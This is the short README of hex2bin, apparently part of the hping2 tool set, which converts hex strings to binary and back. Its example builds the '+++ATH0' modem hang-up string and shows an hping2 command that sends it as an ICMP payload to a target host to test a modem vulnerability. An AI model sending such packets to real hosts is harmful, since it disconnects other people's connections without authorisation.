21 lines
540 B
Plaintext
21 lines
540 B
Plaintext
|
hex2bin is an utility to convert a string in hexadecimal format like
|
||
|
"2b2b2b415448300d" (an example to test a stupid modem vulnerability)
|
||
|
in the binary equivalent. For example:
|
||
|
|
||
|
# echo -n "2b2b2b415448300d" | ./hex2bin > modem.string
|
||
|
|
||
|
# cat modem.string
|
||
|
+++ATH0
|
||
|
|
||
|
# ls -l modem.string
|
||
|
-rw-r--r-- 1 antirez users 8 Nov 17 16:01 modem.string
|
||
|
|
||
|
# hping2 --file ./modem.string -d 8 --icmp target.host.org
|
||
|
|
||
|
using switch '-r' hex2bin perform exactly the inverse operation.
|
||
|
for example:
|
||
|
|
||
|
echo "antirez" | ./hex2bin -r
|
||
|
|
||
|
616e746972657a0a
|